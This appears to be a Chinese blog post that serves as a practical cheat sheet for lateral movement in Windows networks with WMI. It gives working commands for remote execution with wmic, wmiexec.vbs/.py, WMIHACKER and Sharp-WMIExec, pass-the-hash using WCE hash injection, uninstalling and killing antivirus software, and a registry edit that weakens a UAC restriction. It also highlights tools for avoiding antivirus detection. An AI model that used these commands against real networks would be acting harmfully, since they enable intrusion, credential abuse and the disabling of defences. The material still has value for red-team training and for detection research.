内网横移之WMIexec

WMIexec

优点:不需要创建服务,在内存中运行,隐蔽性好

缺点:⽹络请求较多;需要对⽅开启rpc服务,现实环境中有六七成机器不开

一、wmi

(Windows 管理规范)Windows Management Instrumentation

介绍

WMI提供了一组本地或远程管理Windows系统的统一接口集,而不是直接通过Windows API,可当作与Windows系统交互的API,最大的优势为可以远程访问。

WMI由Windows系统自带,且整个运行过程都在内存中,不留任何痕迹,所以在渗透中有独特优势。目前wmi已完全整合到PowerShell中,可通过不同wmi类的不同组件实现。

WMI类如Win32_Process,Win32_Service,AntiVirusProduct,Win32_StartupCommand 等   查询WQL语句:PowerShell Get-WmiObject cmdlet

详细介绍:WMI技术介绍和应用——WMI概述_breaksoftware的博客-CSDN博客_wmi.wmi

基本命令

远程控制

wmic /node:IP /user:USER /password:PASSWORD process call create "cmd.exe /c COMMAND > C:\\result.txt" 将执行结果存入文件
由于wmi无回显,所以要将运行结果写入文件,然后远程读取
1.通过IPC建立连接,输出结果:net use \\\\IP\\ipc$ PASSWORD /user:USER , type \\\\IP\\c$\\result.txt 
2.设置共享网盘,再将结果复制到本地:net use x: \\\\IP\\c$ PASSWORD /user:USER ,xcopy x:\\\\output.txt

信息搜集

搜索系统运行服务 wmic service list brief |more
搜索运行中的程序 wmic process list brief |more
搜索启动程序 wmic startup list brief |more
搜索共享驱动盘 wmic netuse list brief |more
搜索用户帐户 wmic useraccount list brief |more
搜索计算机DC wmic ntdomain list brief
搜索登录用户 wmic logon list brief |more
搜索已安装的安全更新 wmic qfe list brief |more
搜索时区 wmic timezone list brief |more

任务执行

卸载反病毒程序

wmic product where "name like '%forit%' " get name

wmic product where name=" " call uninstall

停止运行反病毒服务

wmic process where name=" " call terminate

wce windows凭据编辑器(windows hash抓取工具)

基本命令:wce -s user:domain:LM:NT

详细用法:https://blog.csdn.net/qq_17204441/article/details/88834414(已经寄了)

下载地址:Amplia Security - Research - Windows Credentials Editor (WCE)

**wbemtest.exe:**一款强大的图形化工具,是出于诊断工具来设计的

二、wmiexe.vbs

简介

原理

使用VBS脚本调用WMI来模拟 psexec 的功能,在内存中运行不用开服务,更加隐蔽

链接过程

先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机

然后如果提供了账号密码,则用该账号密码建立到目标的IPC连接。

随后WMI建立一个共享文件夹,用于远程读取命令执行的结果。当wmiexec退出时,删除文件共享

执行命令

用户输入命令时,WMI创建进程执行该命令,把结果输出到位于之前共享文件夹中的结果文件。然后,通过FSO组件远程访问该文件,将结果输出。读取完成后,调用WMI执行命令删除结果文件。

由于WMI只负责创建进程,无法判断命令是否执行完毕,所以脚会延迟1200ms后再读取结果文件。但如果命令执行时间大于1200ms,(如systeminfo,ping等),读取结果文件会导致读取的结果不完整,然后在删除结果文件时会出错。所以脚本提供了-waitTIME选项增加等待时间,如-wait5000 为五秒后读取结果

由于执行监听或木马程序时进程会一直存在,导致结果文件被占用,不能删除和改写,导致在进程被kill掉之前wmiexec不能正常工作。所以脚本提供了-persist选项使进程在后台运作,并不输出结果,只返回进程pid以供kill掉

使用前提

目标开启139,445端口(smb服务),使用的用户账户不受UAC限制

⽹络请求较多,需要对⽅开启rpc服务(现实环境中有六七成机器不开)

远程系统的本地安全策略的“⽹络访问: 本地帐户的共享和安全模式”应设为“经典-本地⽤户以⾃⼰的身份验证

uac问题:非域用户登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC ERROR: Access is denied

需要在win08或者2012上面执行cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

基本命令

cscript wmiexec.vbs  /shell  host  <username>  <password> 半交互shell模式连接
cscript wmiexec.vbs  /cmd  host  <username>  <password>  command 单条命令执行模式
gethashes 连接成功后抓取hash ?
cscript //nologo 取消显示启动版权标志(没啥用,简洁点)

若只有hash没有密码,可先通过wce进行hash注入,再用wmiexec进行无密码连接:
wce -s user:domain:LM:NT (aad3开头的LM hash为空,可用一串0代替)
cscript wmiexec.vbs  /shell  ip
32位wce下载:<https://github.com/returnvar/wce>
通用下载:<https://www.ampliasecurity.com/research/windows-credentials-editor/>

常用选项:
/shell 半交互式shell模式(不能执行实时交互的命令)
/cmd 执行单条命令模式(该模式适用于当前的环境不是交互式shell的情况,如在webshell中)
host 目标主机名或ip
command 单条命令模式中,用于指定执行的命令
-wait<TIME> 结果读取延时时间,如“systeminfo -wait5000”五秒后读取结果
-persist 将命令在后台持续运行,不输出结果,并返回进程pid,适用于监听(nc.exe)或木马等

优缺点

优点:不需要创建服务,在内存中运行,隐蔽性好

缺点:⽹络请求较多;需要对⽅开启rpc服务,现实环境中有六七成机器不开

下载地址https://github.com/k8gege/K8tools

原文地址https://blog.csdn.net/qq_27446553/article/details/46008473

三、wmiexec.py

原理

通过135端口建立DCOM连接获取win32_Process对象,通过win32_Process的create方法创建程序执行

通过445端口建立smb连接访问admin$共享下的结果文件,完成结果回显

基本用法

python wmiexec.py user:pass@ip   用户密码连接拿shell
python wmiexec.py -hashes LM:NT(可用密码?) domain/user@ip ("command")   PTH连接拿shell(可加command执行命令)
# wmiexec.py划分domian用的是斜杠"/",不是反斜杠"\\" !!!

**常用选项**:
-share SHARE 选择回显结果放置的共享文件夹,默认为ADMIN$
-shell-type {cmd,powershell} 选择shell的种类
-nooutput 不显示回显(不进行smb连接)
-ts 给每个日志回显加上时间戳
-silentcommand 不加载cmd.exe运行给定指令(无回显)
-codec CODEC 指定回显的编码(默认utf-8)
-k 使用Kerberos身份验证,基于目标参数从ccache中获取票据

四、wmiexe.exe

用法与wmiexe.py基本一致,会被windows defender检测并阻止

下载地址:https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

五、wmihacker

简介

常见的WMIEXEC、PSEXEC通过创建服务或调用Win32_Process.create执行命令,已经被杀软100%拦截。

该横向渗透工具经过改造无需445端口,且暂时免杀

主要功能:命令执行,文件上传、下载,PTH(需结合mimikatz)

基本用法

cscript WMIHACKER.vbs  /shell  ip  user  pass 模拟shell模式
cscript WMIHACKER.vbs  /cmd  ip  user  pass  command 1/0  单个命令执行(1和0决定有无回显)
cscript WMIHACKER.vbs  /upload  ip  user  pass  localpath remotepath 文件上传
cscript WMIHACKER.vbs  /download  ip  user  pass  localpath remotepath 文件下载
(密码命令路径可加双引号"")

用户名和密码都填“-”,可在mimikatz通过pth产生的cmd中进行wmi的pth

六、Sharp-WMIExec

笨比脚本,没有回显,只能执行单句命令,能不用就不用(可以用来弹shell,可能免杀)

下载地址:https://github.com/checkymander/Sharp-WMIExec

# win7共享总自动关闭解决方法

运行 > services.msc 将以下服务全部打开,并设为自动:

Function Discovery Resource Publication,SSDP Discovery

UPnP Device Host,DNS Client,SSDP Discovery,Server

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值